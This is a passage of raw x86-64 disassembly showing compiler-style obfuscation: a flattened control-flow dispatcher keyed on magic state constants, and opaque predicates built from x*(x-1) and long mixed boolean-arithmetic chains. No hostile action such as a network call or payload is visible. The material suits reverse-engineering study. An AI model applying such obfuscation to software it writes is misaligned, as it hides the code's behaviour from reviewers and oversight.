mov ebx, edx
and ebx, 0xf9e8ff6f
and ecx, 0x6170090
or ecx, ebx
xor ebp, 0x49e8d563
and ebp, 0xf9e8ff6f
and eax, 0x6170090
or eax, ebp
xor eax, ecx
xor edx, eax
test edx, eax
sete r9b
setne r8b
cmp dword [0x14024b6d4], 9
setg al
mov ecx, r8d
xor cl, r9b
and cl, r8b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r10d, ecx
xor r10b, dl
or dl, cl
xor dl, 1
or dl, r10b
or bl, cl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
xor r9b, al
and r9b, al
xor al, r8b
xor r9b, 1
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
mov r8d, eax
mov ebx, edx
xor al, dl
xor dl, 1
xor cl, 1
and r8b, dl
and bl, cl
or bl, r8b
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x1483da40
mov edx, 0xe6a72c63
cmovne eax, edx
test cl, 1
mov ecx, 0x1483da40
jmp 0x14015bb91
cmp ecx, 0xd193e824
je 0x14015b27d
cmp ecx, 0xd2fc76ff
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x95ac2348
and ebp, 0x6a53dcb7
or ebp, edi
or edx, ebx
and ebx, 0x95ac2348
and ecx, 0x6a53dcb7
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xab0c65a3
and ecx, 0x54f39a5c
or ecx, edx
xor ecx, 0x54f39a5c
cmp ecx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r10b
and al, cl
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, r8b
and al, r9b
or al, dl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and cl, r8b
or cl, r9b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, cl
and dl, bl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x7f4258eb
mov ecx, 0x6370b5ef
cmovne eax, ecx
test bl, 1
mov ecx, 0x7f4258eb
jmp 0x14015529f
cmp ecx, 0xfbe4ee5c
je 0x14015b3bc
cmp ecx, 0xfc9e81f3
jne 0x14014d700
mov ecx, 0x7616efca
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x44e3ac06
je 0x14015b3d2
cmp ecx, 0x458e9be7
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x44af14d5
and ebp, 0xbb50eb2a
or ebp, edi
or edx, ebx
and ebx, 0x44af14d5
and ecx, 0xbb50eb2a
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xbbbda605
and ecx, 0x444259fa
or ecx, edx
mov edx, ecx
xor edx, 0x20b48001
xor ecx, 0x44000e2
and ecx, 0x9f4926e6
and edx, 0x60b6d919
or edx, ecx
mov ecx, edx
xor ecx, 0x2092c910
xor edx, 0x81410266
and edx, 0xc165126f
and ecx, 0x3e9aed90
or ecx, edx
xor ecx, 0x3e9aed90
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, r9d
and dl, al
and r9b, cl
and cl, r8b
or cl, dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, r8b
or al, r9b
mov r8d, ebx
xor r8b, 1
mov edx, ebx
and dl, r8b
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and dl, al
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x41b5a63a
mov ebp, 0xc9da8f04
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0x41b5a63a
jmp 0x14014d6f9
cmp ecx, 0x1bcdb417
je 0x14015b3e8
cmp ecx, 0x1c19006d
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xeaeaaed8
mov ebx, edx
and ebx, 0x15155126
or ebx, ecx
xor ebx, 0x15155126
and edx, 1
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf5a7f617
and edx, 0xa5809e8
or edx, ecx
xor edx, 0xa5809e8
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov ecx, r9d
or cl, dl
mov eax, r9d
xor al, dl
not al
and al, dl
xor al, 1
mov r10d, ecx
xor r10b, al
or al, cl
xor al, 1
or al, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and bl, r8b
or bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xcb610909
mov ecx, 0xc4fb936a
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0xcb610909
cmovne ecx, eax
jmp 0x14015ba5e
cmp ecx, 0x6b8eeaf5
je 0x14015b4d0
cmp ecx, 0x6c862382
jne 0x14014d700
mov ecx, 0xeef653e3
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xad4bbbda
je 0x14015b5ef
cmp ecx, 0xadc22316
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
not ebx
and edx, 0x2a352728
and ecx, 0xd5cad8d7
or ecx, edx
xor ecx, 0xd5cad8d7
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb51528b9
and ecx, 0x4aead746
or ecx, edx
xor ecx, 0x4aead746
sete r8b
setne r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor dl, al
and dl, al
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r10d, ebx
xor r10b, cl
or bl, cl
xor bl, 1
or bl, r10b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, r9d
or dl, cl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor r9b, al
xor r9b, 1
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
xor bl, 1
mov edx, ecx
and dl, r8b
mov r9d, eax
and r9b, bl
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
mov ecx, r9d
xor cl, 1
xor r9b, al
or cl, bl
xor cl, 1
or cl, r9b
xor cl, dl
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0x40a9ea80
mov ebp, 0xe050b983
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0x40a9ea80
jmp 0x1401585a4
cmp ecx, 0xeef653e3
je 0x14015b74f
cmp ecx, 0xefb27135
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x742bd13b
and eax, 0x8bd42ec4
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2bbb9f58
and eax, 0xd44460a7
or eax, ecx
mov edx, eax
xor edx, 0xa06fb19c
xor eax, 0x5f904e63
mov ebp, eax
and ebp, 0x4cb32ab6
mov ecx, edx
and ecx, 0xb34cd549
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xb34cd548
and ecx, 0x4cb32ab7
or ecx, ebp
and edx, 0xeb0f4659
mov ebp, eax
and ebp, 0x14f0b9a6
or ebp, edx
xor ebp, 0xeb0f4658
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0xa177d824
and eax, 0x5e8827db
or eax, edx
xor eax, 0x5e8827db
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x220662f5
and ecx, 0xddf99d0a
or ecx, eax
mov eax, ecx
xor eax, 0xcde00d0a
xor ecx, 0x20060b1
and ecx, 0x1219f0b1
and eax, 0xede60f4e
or eax, ecx
mov ecx, eax
xor ecx, 0x1200a031
xor eax, 0xada60f02
and eax, 0xadbf5f82
and ecx, 0x5240a07d
or ecx, eax
xor ecx, 0x5240a07d
setne bl
sete r8b
cmp dword [0x14024b6d4], 0xa
setl al
xor bl, r8b
and bl, r8b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
mov ebx, eax
or bl, r8b
xor bl, 1
xor al, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, eax
xor bl, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xc6dce33f
mov eax, 0xc174c2d5
cmovne ecx, eax
test dl, 1
mov edx, 0xc6dce33f
cmovne ecx, edx
jmp 0x14015bb94
cmp ecx, 0x9daa8007
je 0x14015b845
cmp ecx, 0x9de3a106
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xc050
and edx, 0x16b42505
or edx, ecx
mov ebx, edx
xor ebx, 0x16a02104
xor edx, 0x2108427a
or ebp, 0x16b4e555
mov ecx, ebp
not ecx
and edx, 0x211c467b
and ebx, 0x16a0a104
or ebx, edx
and ebp, 0x211c467b
and ecx, 0xc8431880
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xe94b1aaa
and ecx, 0x16b4e555
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x9a241799
and ecx, 0x65dbe866
or ecx, edx
xor ecx, 0x65dbe867
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xf67d60f0
and ecx, 0x9829f0f
or ecx, edx
mov ebx, ecx
xor ebx, 0x829401
xor ecx, 0x44102010
or ebp, 0x4fb7f4d9
mov edx, ebp
not edx
or ecx, 0x20080202
and ecx, 0x6d18221a
and ebx, 0x2a7d4c1
or ebx, ecx
and ebp, 0x6d18221a
and edx, 0x90400924
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb0480b26
and edx, 0x4fb7f4d9
or edx, ecx
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
xor cl, dl
mov edx, ecx
not dl
mov ebx, eax
and bl, r8b
and dl, cl
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xfbe4ee5c
mov ebp, 0x44e3ac06
cmovne eax, ebp
test cl, 1
mov ecx, 0xfbe4ee5c
jmp 0x14015529f
cmp ecx, 0xc9da8f04
je 0x14015b954
cmp ecx, 0xc9de28db
jne 0x14014d700
mov ecx, 0xbb1aefda
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xe2ecdae
je 0x14015b96a
cmp ecx, 0xf9ff704
jne 0x14014d700
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x944ff735
and eax, ecx
not ecx
and ecx, 0x944ff735
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x86b35c50
and eax, 0x794ca3af
or eax, ecx
mov edx, eax
xor edx, 0x12fcab65
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0x824812c2
and ebp, 0x7db7ed3c
or ebp, ebx
or ecx, edx
and edx, 0x824812c2
and eax, 0x7db7ed3d
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xe98a9c68
and eax, ecx
not ecx
and ecx, 0xe98a9c68
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xad6e637e
and eax, 0x52919c81
or eax, ecx
mov ecx, eax
xor ecx, 0x1a1b0068
xor eax, 0x4642806
and eax, 0xa5642887
and ecx, 0x5a9bd778
or ecx, eax
xor ecx, 0x5a9bd778
cmp ecx, 0xffffffff
sete r8b
setne al
cmp dword [0x14024b6d4], 0xa
setl dl
mov ebx, eax
or bl, dl
xor bl, 1
xor al, dl
not al
and al, dl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r8d
xor cl, dl
and dl, r8b
or dl, cl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xb41f2756
mov eax, 0x85010861
cmovne ecx, eax
test dl, 1
mov edx, 0xb41f2756
cmovne ecx, edx
jmp 0x14015bb94
cmp ecx, 0x522f9088
je 0x14015ba75
cmp ecx, 0x534138cb
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
and ebx, edx
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov ecx, ebx
xor ecx, 0x178327af
mov edi, ecx
and edi, ebp
and ecx, ebx
mov edx, edi
not edx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xcb1e0d27
and edi, 0x34e1f2d8
or edi, eax
or edx, esi
and esi, 0xcb1e0d27
and ecx, 0x34e1f2d8
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xcc307ee2
and edx, 0x33cf811d
or edx, eax
mov eax, edx
xor eax, 0x20448621
and ebp, 1
xor ebx, 0xfffffffe
or ebx, ebp
mov ecx, ebx
not ecx
xor edx, 0xdbb3594c
mov ebp, edx
and ebp, 0xd71b38d6
and eax, 0x28e4c729
or eax, ebp
or edx, ebx
and ebx, 0xd71b38d6
and ecx, 0x28e4c729
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x8c59c256
and edx, 0x73a63da9
or edx, eax
xor edx, 0x73a63da9
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, ebx
xor cl, r10b
mov eax, ecx
xor al, bl
and al, cl
and dl, r9b
and bl, r10b
or bl, dl
xor bl, al
mov ecx, ebx
not cl
and cl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xf12f2544
mov ebp, 0xbade7631
cmovne edx, ebp
test cl, cl
mov ecx, 0xf12f2544
cmove edx, ecx
test al, al
cmovne edx, ebp
jmp 0x14015a76d
cmp ecx, 0x35f29d97
je 0x14015ba8b
cmp ecx, 0x37808b2c
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x761be307
and ecx, 0x89e41cf8
or ecx, edx
mov edx, ecx
not edx
and edx, 0x62e9a30a
and ecx, 0x9d165cf5
or ecx, edx
mov ebp, ecx
xor ebp, 0x14f2400d
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x78ef1d96
and ebx, 0x8710e268
or ebx, edi
or edx, ebp
and ebp, 0x78ef1d96
and ecx, 0x8710e269
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x36b40c4f
and edx, 0xc94bf3b0
or edx, ecx
mov ecx, edx
xor ecx, 0x4042b280
xor edx, 0x3094080c
and edx, 0xb99d493c
and ecx, 0x4662b6c3
or ecx, edx
mov edx, ecx
xor edx, 0x3815492c
xor ecx, 0x6400041
and ecx, 0x87c80051
and edx, 0x7837ffae
or edx, ecx
mov ecx, edx
xor ecx, 0x6016d184
xor edx, 0x5800051
and edx, 0x1da12e7b
and ecx, 0xe25ed184
or ecx, edx
xor ecx, 0xe25ed184
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
not cl
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xc6dce33f
mov ebx, 0xb5aba464
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
jmp 0x14015565e
cmp ecx, 0x78c2f5df
je 0x14015baa1
cmp ecx, 0x7a744e2b
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov esi, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x40085220
mov edx, edi
and edx, 0x1300a005
or edx, ebp
xor edx, 0x1300a005
mov ebx, edi
and ebx, 0xacf70dda
or ebx, edx
mov edx, ebx
not edx
and edx, 0xacf70ddb
and ebx, 0x5308f224
or ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x80707621
and ebx, 0x7f8f89de
or ebx, edx
and edi, 0x80707621
and ecx, 0x7f8f89de
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
setne dl
cmp esi, 9
setg al
cmp esi, 0xa
setl bl
xor dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
xor cl, bl
mov r8d, ecx
xor r8b, 1
mov eax, r9d
and al, dl
mov ebx, eax
xor bl, 1
xor al, r9b
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, cl
and bl, r8b
or bl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xa381904b
mov edx, 0x5205eba8
cmovne eax, edx
test cl, 1
mov ecx, 0xa381904b
cmovne ecx, eax
jmp 0x14015c0d6
cmp ecx, 0xe8ddbb41
je 0x14015bb9c
cmp ecx, 0xea50a375
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xa8aef60c
and edx, 0x575109f3
or edx, ecx
mov ebx, edx
xor ebx, 0x100f0
xor edx, 0x1608
or ebp, 0xe86b1ef8
mov ecx, ebp
not ecx
or edx, 0x13842104
and edx, 0x53c43f0c
and ebx, 0xa82b00f0
or ebx, edx
and ebp, 0x53c43f0c
and ecx, 0x410c003
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x1794e107
and ecx, 0xe86b1ef8
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x91a135d3
and ebp, 0x6e5eca2c
or ebp, edi
or edx, ebx
and ebx, 0x91a135d3
and ecx, 0x6e5eca2c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
or ebx, 0xc8ecb68c
mov ebp, ebx
not ebp
or edx, 0x10134013
and edx, 0x98f7f09b
and ecx, 0x40080604
or ecx, edx
and ebx, 0x98f7f09b
and ebp, 0x27000960
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xc1f998a1
and ebp, 0x3e06675e
or ebp, ecx
xor ebp, 0xf6ead1d2
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
xor cl, al
mov eax, ecx
xor al, 1
and dl, cl
and al, bl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xfdb70c91
mov ebp, 0x6f365c92
cmovne edx, ebp
test cl, 1
mov ecx, 0xfdb70c91
jmp 0x14015a240
cmp ecx, 0x93bea58b
je 0x14015bbb2
cmp ecx, 0x9524cc95
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0xcfd81a54
and edx, ebp
not ebp
and ebp, 0xcfd81a54
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc7481762
and edx, 0x38b7e89d
or edx, ecx
mov ecx, edx
xor ecx, 0xf76ff2c9
mov ebp, edx
xor ebp, 0xf76ff2c8
and ebp, ecx
xor edx, 0x136
and edx, 0xc345d3b6
and ecx, 0x3cba2c49
or ecx, edx
xor ecx, 0x3cba2c48
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc290ba0c
and ecx, 0x3d6f45f3
or ecx, edx
mov edx, ecx
xor edx, 0x142b0001
xor ecx, 0x4280aa04
and ecx, 0x6bc4eff6
and edx, 0x943b1009
or edx, ecx
xor edx, 0x6bc4eff6
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov ebx, ecx
xor bl, al
and bl, cl
and dl, r8b
and al, r9b
or al, dl
mov edx, ebx
xor dl, 1
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x6f400093
mov ebp, 0xb17f3543
cmovne ecx, ebp
test dl, dl
cmovne ecx, r13d
test al, al
jmp 0x14015aecf
cmp ecx, 0xd86a6b7e
je 0x14015bcfb
cmp ecx, 0xd8a97df1
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x52431485
and ecx, edx
or edx, 0xadbceb7a
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xb8f91ca5
and ebp, 0x42020000
or ebp, edi
or edx, ebx
and ebx, 0xb8f91ca5
and ecx, 0x4706e35a
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xadbceb7a
and edx, 0x52431485
or edx, ecx
mov edi, edx
mov ebp, edx
xor ebp, 0x78655f3a
and ebp, edx
not edx
and edx, 0xc811e176
and edi, 0x37ee1e89
or edi, edx
mov edx, edi
xor edx, 0x37ee1e89
mov ecx, edi
xor ecx, 0xb074be4c
and ecx, edx
mov ebx, ecx
not ebx
mov esi, ebp
not esi
mov eax, ebx
and eax, 0xbac6e1a3
and ecx, 0x45391e5c
or ecx, eax
or ebx, esi
and esi, 0xbac6e1a3
and ebp, 0x45391e5c
or ebp, esi
xor ebp, ecx
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x879aa0c4
and ebx, 0x78655f3b
or ebx, eax
and edx, 1
xor edi, 0x37ee1e88
or edi, edx
mov eax, edi
not eax
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xf7789315
and ebx, 0x8876cea
or ebx, ecx
or edx, edi
and edi, 0xf7789315
and eax, 0x8876cea
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xfd9dde61
and edx, 0x262219e
or edx, eax
mov eax, edx
xor eax, 0x222098
xor edx, 0xcd980c40
and edx, 0xcfd80d46
and eax, 0x3027f2b9
or eax, edx
xor eax, 0x3027f2b9
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, r10d
or bl, dl
xor bl, 1
mov r11d, r10d
xor r11b, dl
not r11b
and r11b, dl
mov r8d, ebx
and r8b, r11b
xor r11b, bl
or r11b, r8b
and r10b, dl
and cl, r9b
or cl, r10b
mov ebx, edx
xor bl, r9b
or dl, r9b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r11d
xor al, 1
and cl, al
or al, dl
and dl, r11b
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xe2ecdae
mov edx, 0x93bea58b
cmovne ecx, edx
test al, 1
mov eax, 0xe2ecdae
cmovne ecx, eax
test bl, 1
cmove ecx, edx
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x6fe471d
je 0x14015bd11
cmp ecx, 0x719f78e
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, edi
or edx, 1
mov ebp, edx
not ebp
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x9f5bc9dd
and ebp, 0x60a43622
or ebp, eax
or edx, esi
and esi, 0x9f5bc9dd
and ebx, 0x60a43622
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xce0979e3
and edx, 0x31f6861c
or edx, ebp
and edi, 0xce0979e3
and ecx, 0x31f6861c
or ecx, edi
xor ecx, edx
xor eax, ecx
test eax, ecx
setne r9b
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, eax
xor cl, dl
mov r8d, ecx
xor r8b, al
and r8b, cl
and bl, r9b
and al, dl
or al, bl
mov r9d, eax
mov ebx, r8d
mov edx, eax
or al, r8b
xor r8b, 1
xor r9b, 1
and bl, r8b
and dl, r9b
xor bl, 1
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, r9b
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
xor r9b, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x1c19006d
mov ecx, 0x5205eba8
cmovne ebp, ecx
test al, al
mov ecx, 0x1c19006d
jmp 0x14015ac40
cmp ecx, 0x4ba250c9
je 0x14015be45
cmp ecx, 0x4bcbce57
jne 0x14014d700
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
